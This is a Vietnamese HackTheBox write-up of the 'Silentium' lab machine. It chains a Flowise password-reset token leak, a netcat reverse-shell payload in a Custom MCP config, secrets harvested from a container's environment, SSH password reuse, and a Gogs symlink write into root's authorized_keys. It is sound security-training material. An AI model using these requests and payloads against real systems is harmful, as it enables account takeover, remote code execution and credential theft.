Nhật Ký Tấn Công: HTB — Silentium
⚠️ Disclaimer: Writeup này ghi lại quá trình khai thác machine "Silentium" trên HackTheBox — một môi trường lab hợp pháp được thiết kế cho việc học tập và nghiên cứu bảo mật. Tất cả kỹ thuật được trình bày chỉ nhằm mục đích giáo dục. Mọi kỹ thuật được trình bày chỉ nhằm mục đích giáo dục. Tuyệt đối không sử dụng để tấn công hệ thống mà bạn không có quyền truy cập.

Giới thiệu
"Một box Easy đã dạy tôi bài học khó nhất: đọc CVE trước khi bắt đầu bắn payload."
Silentium là một box Linux được đánh giá Easy trên HackTheBox. Easy hay là không? Con box này đã khiến tôi chạy theo những cấu hình MCP sai suốt nhiều tiếng đồng hồ trước khi nhận ra câu trả lời đơn giản hơn tôi tưởng rất nhiều. Khởi đầu là một chuỗi CVE tưởng chừng thẳng tắp — reset password, code injection, container escape — nhưng rồi biến thành một bài học về việc đọc tài liệu trước khi bắn payload. Đây là nhật ký hành trình đó: mỗi lần rẽ sai, mỗi lần vỗ trán, và khoảnh khắc mọi thứ cuối cùng cũng vỡ ra.
Phase 1: Reconnaissance — "Gõ Cửa"
Gõ Cửa — Naabu
Mọi cuộc tấn công đều bắt đầu giống nhau: cái gì đang lắng nghe?
Tôi khởi động với naabu để quét SYN nhanh, sau đó dùng nmap để liệt kê service chi tiết hơn.
┌──(root㉿kali)-[/home/kali]
└─# naabu -host 10.129.197.80 -p - -s s -verify
10.129.197.80:22
10.129.197.80:80
[INF] Found 2 ports on host 10.129.197.80
Hai port. Bề mặt tấn công tối giản — với một box Easy thì điều này thường có nghĩa là mỗi port đều quan trọng. Không có FTP để thăm dò, không có dịch vụ lạ trên port cao. Chỉ SSH và HTTP. Web server sẽ là điểm bắt đầu hiển nhiên.
Nhìn Kỹ Hơn — Nmap
┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV -Pn -p 22,80 10.129.197.80 -T4
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Silentium | Institutional Capital & Lending Solutions
|_http-server-header: nginx/1.24.0 (Ubuntu)
Port 22 là OpenSSH 9.6p1 — phiên bản hiện đại, không khai thác trực tiếp được, nhưng sẽ hữu ích khi tìm được credentials. Port 80 là nginx phục vụ trang web doanh nghiệp tài chính. Tiêu đề "Silentium | Institutional Capital & Lending Solutions" cho thấy một giao diện chuyên nghiệp, nhưng bề mặt tấn công thật sự thường ẩn sau tấm rèm.
Giờ thì tìm subdomain thôi.
Phase 2: Web Enumeration — "Hậu Trường"
Lớp Vỏ Doanh Nghiệp
Truy cập http://silentium.htb/ cho thấy một trang landing doanh nghiệp được đánh bóng
Silentium, một tổ chức công ty tài chính. Máy tính khoản vay, ngôn ngữ quản trị, giao dịch xuyên biên giới. Kiểu trang web được thiết kế để gây ấn tượng với nhà đầu tư, không phải để bị hack.
Tôi cuộn qua các phần: Solutions, Calculator, Leadership. Phần lớn là nội dung tĩnh, không có gì tương tác ngoài một máy tính cấu trúc khoản vay chạy hoàn toàn phía client. Nhưng phần Leadership thu hút sự chú ý của tôi — ba thành viên đội ngũ:
Marcus Thorne — Managing Director
Ben — Head of Financial Systems
Elena Rossi — Chief Risk Officer
Ben. Chỉ "Ben." Không họ, không phồng title. Người vận hành hệ thống tài chính nội bộ và nền tảng phân tích của họ. Tôi ghi nhớ thông tin này — nếu có trang đăng nhập ở đâu đó, ben sẽ là username đầu tiên tôi thử.
Source code trang xác nhận điều tôi nghi ngờ: site tĩnh xây bằng Tailwind CSS, không có form backend, không có API call, không có endpoint ẩn. Bề mặt tấn công không nằm ở đây.
Subdomain Fuzzing — Tìm Cánh Cửa Ẩn
Nếu trang chính là ngõ cụt, có thể có thứ gì khác đang lắng nghe trên virtual host khác. Tôi dùng ffuf để fuzz subdomain:
┌──(root㉿kali)-[/home/kali]
└─# ffuf -u http://FUZZ.silentium.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://FUZZ.silentium.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
staging [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 409ms]
:: Progress: [4989/4989] :: Job [1/1] :: 19 req/sec :: Duration: [0:02:45] :: Errors: 81 ::
Một kết quả: staging. Tôi thêm vào /etc/hosts và truy cập http://staging.silentium.htb/.
Flowise — Nền Tảng AI Không Ai Khóa
Thay vì một trang doanh nghiệp khác, tôi được chào đón bởi một bảng đăng nhập. Tiêu đề trang tiết lộ ngay:
<title>Flowise - Build AI Agents, Visually</title>
Flowise — một nền tảng mã nguồn mở, low-code để xây dựng workflow agent LLM. Giao diện kéo-thả cho chatbot AI, pipeline tự động hóa, và tích hợp công cụ. Mạnh mẽ trong tay đúng người, nguy hiểm khi bị phơi bày trên subdomain staging không được gia cố.
Vì Flowise là mã nguồn mở, tài liệu, source code, và cấu trúc API đều có sẵn công khai. Xem nhanh docs của Flowise cho thấy một REST API chuẩn nằm dưới /api/v1/. Tôi bắt đầu thăm dò các endpoint phổ biến:
┌──(root㉿kali)-[/home/kali]
└─# curl -s http://staging.silentium.htb/api/v1/chatflows
{"error":"Unauthorized Access"}
┌──(root㉿kali)-[/home/kali]
└─# curl -s http://staging.silentium.htb/api/v1/version
{"version":"3.0.5"}
┌──(root㉿kali)-[/home/kali]
└─# curl -s http://staging.silentium.htb/api/v1/credentials
{"error":"Unauthorized Access"}
Endpoint version mở toang — 3.0.5. Mọi thứ khác đều yêu cầu xác thực. Nhưng version là tất cả những gì tôi cần để bắt đầu săn CVE.
Tôi tìm kiếm các lỗ hổng đã biết cho version này, và hai CVE nổi bật:
CVE-2025-58434 — Leak token reset password không cần xác thực (versions < 3.0.6)
CVE-2025-59528 / GHSA-6933-jpx5-q87q — RCE có xác thực qua CustomMCP node (versions < 3.0.6)
Cả hai đều ảnh hưởng các version trước 3.0.6. Cả hai đều áp dụng cho 3.0.5. Và tôi đã có username từ trang chính: Ben — Head of Financial Systems. Các mảnh ghép đang dần khớp vào nhau. Giờ thì chỉ cần đánh cắp chìa khóa.
Phase 3: Account Takeover — "Đánh Cắp Chìa Khóa"
Gõ Nhầm Cửa
CVE-2025-58434 mô tả lỗi leak token reset password không cần xác thực. Đơn giản — chỉ cần gọi endpoint forgot-password và token sẽ trả về trong response. Tôi bắn request:
┌──(root㉿kali)-[/home/kali]
└─# curl -s -X POST http://staging.silentium.htb/api/v1/auth/forgot-password \
-H "Content-Type: application/json" \
-d '{"user": {"email": "ben@silentium.htb"}}'
{"error":"Unauthorized Access"}
Unauthorized Access. Trên một endpoint được cho là không cần xác thực. Điều này vô lý — toàn bộ ý nghĩa của CVE-2025-58434 là nó không yêu cầu credentials. Tôi thử các format email khác, các HTTP method khác. Cùng kết quả mỗi lần.
Tôi nhìn chằm chằm vào URL một lúc rồi chợt nhận ra. /api/v1/auth/forgot-password — tôi đã đoán path dựa trên convention API phổ biến. Nhưng Flowise không theo convention. Đọc kỹ lại advisory của CVE mới thấy endpoint thật sự: /api/v1/account/forgot-password. Không phải auth. Là account. Một từ, và một code path hoàn toàn khác — endpoint auth yêu cầu xác thực, trong khi endpoint account mở toang theo thiết kế.
CVE-2025-58434 — Token Không Nên Ở Đó
Advisory của CVE này gần như quá đẹp để là thật: Flowise các phiên bản trước 3.0.6 trả token reset password trực tiếp trong response API. Không cần chặn email. Không cần khai thác lỗi SMTP. Chỉ cần yêu cầu server reset password, và nó đưa token cho bạn trên đĩa bạc.
Tôi đã có email mục tiêu từ trang chính — Ben, Head of Financial Systems. Format email quá rõ ràng: ben@silentium.htb. Một request curl:
┌──(root㉿kali)-[/home/kali]
└─# curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user": {"email": "ben@silentium.htb"}}'
{
"user": {
"id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"name": "admin",
"email": "ben@silentium.htb",
"credential": "\(2a\)05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG",
"tempToken": "ekmG4CNokBsXZabhSssfQba4B7PSpb4RncQXXffDZWQr4yZMkWAhk0XqnwzrVXWO",
"tokenExpiry": "2026-04-14T07:40:27.739Z",
"status": "active",
"createdDate": "2026-01-29T20:14:57.000Z",
"updatedDate": "2026-04-14T07:25:27.000Z",
"createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
},
"organization": {},
"organizationUser": {},
"workspace": {},
"workspaceUser": {},
"role": {}
}
Server không chỉ trả tempToken — nó trả tất cả. User ID, bcrypt password hash, trạng thái tài khoản, ngày tạo. Toàn bộ bản ghi database đổ vào một response API duy nhất. Đây không phải là rò rỉ thông tin tinh vi — đây là cửa trước bị bỏ ngỏ.
Account Takeover — Reset Password Của Ben
Có token trong tay, reset password chỉ là thủ tục:
┌──(root㉿kali)-[/home/kali]
└─# curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{
"user": {
"email": "ben@silentium.htb",
"tempToken": "ekmG4CNokBsXZabhSssfQba4B7PSpb4RncQXXffDZWQr4yZMkWAhk0XqnwzrVXWO",
"password": "Password123!"
}
}'
{"user":{
"id":"e26c9d6c-678c-4c10-9e36-01813e8fea73",
"name":"admin",
"email":"ben@silentium.htb",
"credential":"\(2a\)05$pRSfZVOsFoRGtG2g4Cs8Iu3Sis1HmNT3StEb9FwCOv.3gATmUQzLi",
"tempToken":"",
"tokenExpiry":null,
"status":"active",
"createdDate":"2026-01-29T20:14:57.000Z",
"updatedDate":"2026-04-14T07:25:51.000Z",
"createdBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73",
"updatedBy":"e26c9d6c-678c-4c10-9e36-01813e8fea73"},
"organization":{},
"organizationUser":{},
"workspace":{},
"workspaceUser":{},
"role":{}
}
Response trả về sạch sẽ — tempToken đã xóa, credential hash đã cập nhật. Tài khoản của Ben giờ là của tôi.
Tôi truy cập http://staging.silentium.htb/signin, nhập ben@silentium.htb / Password123!, và bấm Login.
Dashboard Flowise mở ra. Chatflows, Agentflows, Tools, Credentials, API Keys — toàn quyền quản trị một nền tảng điều phối AI.
Giờ câu hỏi thật sự: làm sao biến quyền truy cập dashboard thành rce?
Phase 4: Remote Code Execution — "Hố Thỏ MCP"
Sai Format
Có full quyền dashboard, CVE tiếp theo đã chờ sẵn: CVE-2025-59528 — RCE có xác thực thông qua CustomMCP node. Concept rất đơn giản: Custom MCP node của Flowise cho phép người dùng định nghĩa cấu hình server để spawn process cục bộ. Inject lệnh reverse shell vào config đó, server sẽ thực thi.
Tôi tạo chatflow mới, thả vào một Custom MCP node, và paste format cấu hình MCP server mà tôi cho là chuẩn — cùng cấu trúc được sử dụng bởi Claude Desktop, VS Code, và các MCP client khác:
Save chatflow. Bấm refresh Available Actions. Kiểm tra listener.
Không có gì.
"No Available Actions. No available actions, please check your API key and refresh." Listener im lặng. Không callback, không connection attempt, không dấu hiệu nào cho thấy code đã được thực thi.
Rơi Xuống Hố Thỏ
Tôi thử mọi thứ. Thêm Tool Agent node, ChatOllama model, Buffer Memory — xây một chatflow hoàn chỉnh với tất cả kết nối đúng. Save, trigger qua chat bubble.
Lỗi khác lần này: "Ending node must be either a Chain or Agent or Engine." Chatflow chưa đủ cấu trúc. Sửa kết nối, thử lại. Vẫn không có shell.
Tôi dành hơn một tiếng xoay vòng các biến thể — format payload khác nhau, tổ hợp node khác nhau, cách trigger chatflow khác nhau. Format wrapper mcpServers — format được dùng trong mọi tài liệu MCP client tôi tìm thấy — đơn giản là từ chối hoạt động. Flowise cứ xử lý config như định nghĩa SSE transport thay vì lệnh stdio.
Mảnh Ghép Còn Thiếu
Bước đột phá đến khi tôi quay lại căn bản — đọc documentation chính thức của Flowise và các security advisory trên GitHub thay vì đoán format config. Tài liệu Flowise cho thấy Custom MCP hỗ trợ hai transport mode: SSE (yêu cầu URL) và stdio (yêu cầu command). Format wrapper mcpServers tôi dùng suốt là dành cho ứng dụng MCP client như Claude Desktop — không phải cho config parser nội bộ của Flowise. Một advisory riêng trên GitHub — GHSA-6933-jpx5-q87q — xác nhận format đúng với PoC rõ ràng:
{
"command": "nc",
"args": ["10.10.14.23", "4444", "-e", "/bin/sh"]
}
Không wrapper mcpServers. Không key pwn. Chỉ command và args ở root level. Custom MCP node trong Flowise 3.0.5 mong đợi bare stdio config — không phải nested format mà Claude Desktop hay các MCP client khác sử dụng.
Tôi xóa chatflow cũ, tạo chatflow mới chỉ với một Custom MCP node duy nhất, paste bare config, và bấm refresh Available Actions.
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.23] from (UNKNOWN) [10.129.197.84] 37527
whoami
root
Shell đã lên. Sau hàng giờ sai format, sai wrapper, và sai giả định — một shell root bên trong container. Bài học đau đớn nhưng đơn giản: khi nghi ngờ, hãy đọc advisory chính thức và source code, đừng đọc tóm tắt của bên thứ ba.
Phase 5: Container Escape — "Phá Rào"
Đọc Môi Trường
Root bên trong container nghe ấn tượng cho đến khi bạn nhận ra mình vẫn đang trong hộp. Hostname c78c3cceb7ba xác nhận tôi đang trong Docker. Nhưng container rò rỉ bí mật qua biến môi trường — và container này không phải ngoại lệ.
cat /proc/1/environ | tr '\0' '\n'
FLOWISE_PASSWORD=F1l3_d0ck3r
ALLOW_UNAUTHORIZED_CERTS=true
NODE_VERSION=20.19.4
HOSTNAME=c78c3cceb7ba
YARN_VERSION=1.22.22
SMTP_PORT=1025
SHLVL=1
PORT=3000
HOME=/root
SENDER_EMAIL=ben@silentium.htb
PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
JWT_ISSUER=ISSUER
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USERNAME=test
SMTP_SECURE=false
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
FLOWISE_USERNAME=ben
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
DATABASE_PATH=/root/.flowise
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_AUDIENCE=AUDIENCE
SECRETKEY_PATH=/root/.flowise
PWD=/
SMTP_PASSWORD=r04D!!_R4ge
SMTP_HOST=mailhog
JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
SMTP_USER=test
Hai mật khẩu dạng plain text. FLOWISE_PASSWORD là mật khẩu dashboard mà tôi đã reset. Nhưng SMTP_PASSWORD — r04D!!_R4ge — khác hoàn toàn. Mật khẩu SMTP cho ben@silentium.htb. Nếu Ben dùng lại password này cho tài khoản hệ thống...
SSH — Lối Thoát
┌──(root㉿kali)-[/home/kali]
└─# ssh ben@10.129.197.84
ben@10.129.197.84's password: r04D!!_R4ge
ben@silentium:~$ whoami
ben
ben@silentium:~$ pwd
/home/ben
ben@silentium:~$ ls
user.txt
ben@silentium:~$ cat user.txt
e97e69**************************
Tái sử dụng mật khẩu. Credential SMTP giống hệt mật khẩu SSH của Ben. Tôi đã thoát khỏi container và đứng trên host machine với user flag trong tay.
Cuộc chinh phạt đã xong một nửa. Giờ đến nửa còn lại.
Phase 6: Privilege Escalation — "Mắt Xích Cuối"
Còn Gì Đang Lắng Nghe?
Với phiên SSH ổn định dưới quyền ben, tôi bắt đầu khám phá host. Container chỉ là một mảnh ghép — còn gì khác đang chạy trên machine này?
ben@silentium:~$ netstat -tulpn | grep 127.0.0.1
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:45809 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8025 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN -
Port 3000 — instance Flowise tôi đã chiếm. Port 1025 và 8025 — MailHog, dịch vụ SMTP từ biến môi trường container. Nhưng port 3001 là thứ tôi chưa thấy trước đó. Chỉ có một cách để biết nó là gì.
Gogs — Dịch Vụ Git Không Ai Canh
Tôi thiết lập SSH tunnel và mở http://localhost:3001 trên browser.
┌──(root㉿kali)-[/home/kali]
└─# ssh -L 3001:127.0.0.1:3001 ben@10.129.197.84
Gogs. Dịch vụ Git self-hosted nhẹ — kiểu thứ mà đội dev dựng lên cho repository nội bộ rồi quên mất. Quan trọng hơn, đăng ký mở. Bất kỳ ai chạm được port này đều có thể tạo tài khoản.
Tôi đăng ký user, đăng nhập, và tạo API token. Version không hiển thị trên trang, nhưng giao diện và tính năng khớp với Gogs 0.13.x — và tôi biết chính xác điều đó có nghĩa gì.
Symlink Phá Vỡ Mọi Thứ
CVE-2025-8110 là một trong những lỗ hổng khiến bạn tự hỏi làm sao nó lọt qua được. Gogs cho phép symbolic link trong Git repository — hành vi Git chuẩn. Nhưng khi bạn dùng PutContents API để ghi dữ liệu vào file, Gogs không kiểm tra xem file đó có thật sự là symlink trỏ đi nơi khác không. Ghi vào symlink, và hệ điều hành đi theo nó — thẳng ra khỏi repository, vào bất kỳ file nào mà link trỏ tới.
Nếu Gogs chạy dưới quyền root, thế là xong. Và trên machine này, đúng là vậy.
Kế hoạch đơn giản: tạo symlink trỏ tới /root/.ssh/authorized_keys, push vào repository, rồi dùng API ghi SSH public key qua symlink. Root sẽ không bao giờ biết file authorized_keys của mình có thêm một entry mới.
Tôi tạo cặp SSH key mới trên Kali:
┌──(root㉿kali)-[/home/kali]
└─# ssh-keygen -t rsa -f /tmp/root_key -N ""
Generating public/private rsa key pair.
Your identification has been saved in /tmp/root_key
Your public key has been saved in /tmp/root_key.pub
The key fingerprint is:
SHA256:xkILs+DMGEHoQ7w0VgYzsevKwwG5hZgfTv5tdmYaUeU root@kali
The key's randomart image is:
+---[RSA 3072]----+
|=*+o . |
|.B= o |
|B=+ o . . E |
|*X=. = + |
|oO=.. + S |
|o.+ + |
|.... .. |
|oo . +.+ |
|... o.= |
+----[SHA256]-----+
Tạo repository trên Gogs, clone về, và commit symlink:
┌──(root㉿kali)-[/home/kali]
└─# git clone 'http://hacker:Password123!@localhost:3001/hacker/exploit.git' /tmp/exploit
Cloning into '/tmp/exploit'...
warning: You appear to have cloned an empty repository.
hint: Using 'master' as the name for the initial branch. This default branch name
hint: will change to "main" in Git 3.0. To configure the initial branch name
hint: to use in all of your new repositories, which will suppress this warning,
hint: call:
hint:
hint: git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint: git branch -m <name>
hint:
hint: Disable this message with "git config set advice.defaultBranchName false"
┌──(root㉿kali)-[/home/kali]
└─# cd /tmp/exploit
┌──(root㉿kali)-[/tmp/exploit]
└─# ln -s /root/.ssh/authorized_keys /tmp/exploit/payload
┌──(root㉿kali)-[/tmp/exploit]
└─# git config user.email "hacker@gmail.com"
┌──(root㉿kali)-[/tmp/exploit]
└─# git config user.name "hacker"
┌──(root㉿kali)-[/tmp/exploit]
└─# git add payload
┌──(root㉿kali)-[/tmp/exploit]
└─# git commit -m "add payload"
[master (root-commit) 9026b10] add payload
1 file changed, 1 insertion(+)
create mode 120000 payload
┌──(root㉿kali)-[/tmp/exploit]
└─# git push -u origin master
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 230 bytes | 230.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To http://localhost:3001/hacker/exploit.git
* [new branch] master -> master
branch 'master' set up to track 'origin/master'.
File mode 120000 — Git xác nhận symlink đã được commit đúng. Giờ bước quyết định — ghi public key qua symlink bằng API:
┌──(root㉿kali)-[/tmp/exploit]
└─# KEY_B64=$(base64 -w0 /tmp/root_key.pub)
curl -X PUT "http://localhost:3001/api/v1/repos/hacker/exploit/contents/payload" \
-H "Authorization: token 98d8e27a4e0671dbebbf31d4255b4516160d67f6" \
-H "Content-Type: application/json" \
-d "{\"content\":\"$KEY_B64\",\"message\":\"update\"}"
{"commit":{"url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/hacker/exploit/contents/payload","sha":"9026b101789ebaa365653051486a34a1a0dd8ec6","html_url":"http://staging-v2-code.dev.silentium.htb:3001/hacker/exploit/commits/9026b101789ebaa365653051486a34a1a0dd8ec6","commit":{"url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/hacker/exploit/contents/payload","author":{"name":"hacker","email":"hacker@gmail.com","date":"2026-04-14T08:49:12Z"},"committer":{"name":"hacker","email":"hacker@gmail.com","date":"2026-04-14T08:49:12Z"},"message":"add payload","tree":{"url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/hacker/exploit/tree/9026b101789ebaa365653051486a34a1a0dd8ec6","sha":"9026b101789ebaa365653051486a34a1a0dd8ec6"}},"author":{"id":2,"username":"hacker","login":"hacker","full_name":"","email":"hacker@gmail.com","avatar_url":"https://secure.gravatar.com/avatar/5f2e8c3605a2730d521d111a617aa968?d=identicon"},"committer":{"id":2,"username":"hacker","login":"hacker","full_name":"","email":"hacker@gmail.com","avatar_url":"https://secure.gravatar.com/avatar/5f2e8c3605a2730d521d111a617aa968?d=identicon"},"parents":[]},"content":{"type":"symlink","target":"/root/.ssh/authorized_keys","size":26,"name":"payload","path":"payload","sha":"9c87fc525b63ebd989fa409533d3be1b295d6ec3","url":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/hacker/exploit/contents/payload","git_url":"","html_url":"http://staging-v2-code.dev.silentium.htb:3001/hacker/exploit/src/master/payload","download_url":"http://staging-v2-code.dev.silentium.htb:3001/hacker/exploit/raw/master/payload","_links":{"git":"","self":"http://staging-v2-code.dev.silentium.htb:3001/api/v1/repos/hacker/exploit/contents/payload","html":"http://staging-v2-code.dev.silentium.htb:3001/hacker/exploit/src/master/payload"}}}
API trả về thành công. Đâu đó trên server, /root/.ssh/authorized_keys giờ đã chứa public key của tôi. Và giờ là khoảnh khắc quyết định:
┌──(root㉿kali)-[/tmp/exploit]
└─# ssh -i /tmp/root_key root@10.129.197.84
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue Apr 14 08:53:39 AM UTC 2026
System load: 0.0
Usage of /: 82.9% of 13.37GB
Memory usage: 19%
Swap usage: 0%
Processes: 238
Users logged in: 1
IPv4 address for eth0: 10.129.197.84
IPv6 address for eth0: dead:beef::250:56ff:fe95:9921
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@silentium:~# pwd
/root
root@silentium:~# ls
gogs-repositories root.txt
root@silentium:~# cat root.txt
cbbdfd**************************
root@silentium:~#
Không hỏi mật khẩu. Không thách thức. Chỉ một phiên SSH sạch sẽ dưới quyền root. Symlink đã hoàn thành nhiệm vụ — một lần ghi file, một key được cài, một machine bị chiếm.
Bài Học Rút Ra
Nhìn lại, machine này tốn của tôi nhiều thời gian hơn một box Easy đáng lẽ phải mất. Không phải vì lỗ hổng phức tạp — chúng không hề. Mỗi CVE đều có advisory công khai, mỗi exploit đều có PoC rõ ràng. Thời gian tôi lãng phí hoàn toàn do tự mình gây ra: đoán thay vì đọc, giả định thay vì kiểm tra. Sự trớ trêu khi dành hàng giờ debug config MCP trong khi câu trả lời nằm ngay trong GitHub advisory suốt — đó là kiểu bài học bám theo bạn mãi.
Đọc CVE, đừng đọc tóm tắt. Tôi mất hàng giờ chạy theo format config trông đúng nhưng không phải. Wrapper mcpServers cảm giác tự nhiên — mọi MCP client đều dùng. Nhưng Flowise có luật chơi riêng, và luật đó đã được viết rõ trong GitHub advisory mà tôi có thể đọc từ đầu. PoC chỉ có bốn dòng JSON. Câu trả lời luôn đơn giản. Tôi chỉ không tìm đúng chỗ.
Đọc endpoint, đừng đoán convention. Một từ. auth vs account. Chỉ chừng đó để biến một exploit hoạt động thành ngõ cụt. Tôi đoán API path như gọi cà phê — tự tin, không cần nhìn menu. Bài học: tài liệu tồn tại là có lý do.
Container rò rỉ bí mật. Khoảnh khắc tôi đáp vào container Docker, mọi thứ tôi cần đã ở đó — nằm trong /proc/1/environ như mẩu giấy nhắn để trên bàn bếp. Mật khẩu SMTP, JWT secrets, đường dẫn database. Container cảm giác cô lập, nhưng biến môi trường kể một câu chuyện khác.
Tái sử dụng mật khẩu bắc cầu giữa các thế giới. Mật khẩu SMTP và SSH của Ben giống hệt nhau. Một credential thu hoạch từ môi trường container trở thành chìa khóa cho toàn bộ host. Đó là lỗ hổng cổ xưa nhất trong sách, và nó vẫn hiệu quả mỗi lần.
Symlink phá vỡ ranh giới. Symlink chỉ là một con trỏ — vô hại nếu đứng một mình. Nhưng khi server đi theo con trỏ đó mà không hỏi nó dẫn đi đâu, một thao tác ghi file đơn giản trở thành quyền root. CVE-2025-8110 không đòi hỏi khai thác tinh vi. Nó chỉ cần một lệnh ln -s và một API call. Đôi khi những cuộc tấn công tàn khốc nhất lại là những cuộc đơn giản nhất.


